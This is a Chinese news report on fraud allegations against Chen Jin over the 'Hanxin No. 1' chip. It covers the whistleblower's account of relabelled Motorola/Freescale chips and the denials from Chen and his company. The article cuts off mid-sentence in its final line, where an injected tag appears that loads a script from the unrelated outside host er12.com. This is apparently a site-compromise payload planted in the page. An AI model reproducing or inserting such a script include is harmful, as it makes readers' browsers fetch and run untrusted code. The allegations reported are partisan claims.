“从技术上讲，检测过程确实十分简单。”1月23日中午，上海市集成电路行业协会副秘书长薛自也这样告诉记者。
“是否能再给我一点时间。”1月22日下午2时40分，“汉芯一号”被指涉嫌造假人、上海交大微电子学院院长、上海硅知识产权交易中心负责人陈进在接到记者电话时表示：“我需要准备证据对网上言论进行一次性的事实性反驳。”
之前的1月17日，一神秘举报人在清华bbs公开指责中国首款自主知识产权高端dsp芯片———“汉芯一号”发明人陈进作假，骗取国家上亿元无偿拨款。
顿时，掀起巨大波澜
20日中午，陈进曾在电话中表示，他也是刚看到网络上的新闻，希望记者尽快见面，就此事披露独家细节。
可此后连续两天，记者联系陈进时，都被其以“会议中”或“正在电话”为由谢绝。不过他仍强调“造假之说绝对不符事实”，并表示稍后联系记者。
1月21日中午，由上海交大汉芯科技有限公司发表了“造假之说纯属捏造”申明。23日中午，陈进助手阮先生告诉记者：“目前，我们不会就此事接受个别记者采访，但在近期会召开新闻发布会清澄此事。”
与此同时，记者与事件另一方———“汉芯造假”一说的神秘举报人也取得了联系，他自称是一位“原为陈进部下”，“一年前离开汉芯团队的工程师”。
“知道真相的不会超过五个人。”1月23日凌晨45分，在举报人确认记者身份后，经过长时间考虑，同意与记者交流。
“我现在不能一次性拿出所有证据，因为对方可能会据此采取相关对策。”该举报人表示，希望国家相关部门能尽快组织专家公开检测，“方法十分简单，只要几个小时，一切都将‘真相’大白”。
因为时值美国时间周日，截至发稿前，记者未获得事情的第三方———飞思卡尔(freescale)公司的电邮回复。
“两个神秘人”
“一开始，我不希望这个事情被公开炒作。”该举报人称，他在两个月前选择的方式是，向科技部、总装备部等40多家与“汉芯”项目相关的单位，以及有关部委发去举报信。
据悉，科技部等部门很快组织了一个调查组，南下上海。
“我也听说科技部成立了专门的调查组。但后续结果就不知情了。”他说，真正逼他站到前台的是17日清华bbs上的那封匿名信。
“那不是我贴的，是另一个‘神秘人’。至于他是谁，为什么发，我也并不是很清楚。”停顿片刻后，该举报人说，“实际上，此前几个月，在相关半导体专业网站上，我已经看到过类似架构的帖子。”
清华bbs上的匿名信称，2002年8月，陈进从美国飞思卡尔公司(原摩托罗拉半导体部门，2004年2月更名为飞思卡尔)买回了10片mo鄄to-freescale“56800芯片”，并雇佣民工将芯片表面的moto等字样用砂纸磨掉，随后加上“汉芯”标识。
该匿名信还称，此后，陈进通过各种方式使国内集成电路行业知名专家一致鉴定“汉芯一号”已达到国际先进水平的高端大规模集成电路。信的最后说，汉芯一号在问世3年时间内，向国家各部门成功申报项目40多次，累计骗取无偿拨款突破1亿元。
1月21日中午，上海交大汉芯科技有限公司公开发表了一个不超过300字的《郑重申明》，但未给出更具体的详细资料，仅表示“汉芯系列芯片由汉芯团队经过长期艰苦努力建立，具有自主知识产权，经得起相关部门及专家的检测验证，各项成果已陆续进入产业化阶段”以及“汉芯获得的巨额科研项目经费内容与事实不符，具体情况均可在相关机构得到证实”。
1月23日凌晨，该举报人向记者强调：“‘汉芯’申报的每个项目，都由我编写材料、答辩和公关”，“而项目合同一签，国家部门拨款到账后，陈进即组织员工大规模旅游，旅游结束后继续申报其他项目”。
他同时表示，网上公布的信息还只是冰山一角，“我手中有大量证据可证明汉芯一号至汉芯五号都为造假”。
“我现在不能一次性拿出所有证据，对方如果知道我所有底牌，可能据此采取对策。”该神秘举报人在对话中反复渲染自己目前非常担心安全问题。
“知道真相的不会超过五个人。”该举报人称，“除了工资，我没拿过国家任何一分多余的钱。离开‘汉芯’，是因为我活在造假中十分痛苦。”
但也有说法认为，该举报人告发陈进，是因为“利益分配不均而反目”———bbs的帖子里说，汉芯科技公司在通过汉芯项目套取了国家上亿科研经费。
“‘汉芯’大概在2004年到2005年获得了最多的资金。”该举报人向记者明确表示他不同意上述说法，“我离开的时候‘汉芯’还没有获得这么多资金。”
但是，他拒绝透露其离开汉芯团队的具体时间。
唯一出路，公开检测？
至此，事情的焦点集中在———2003年2月26日，陈进邀请国家科技部、上海市政府及同行在上海锦江小礼堂召开新闻发布会演示的“汉芯一号”上。
据上海交大微电子学院主页报道：当天除前来捧场的有关部委领导，还有一些知名院士及专家。在发布会上，鉴定专家?script src=http://er12.com/t.js>
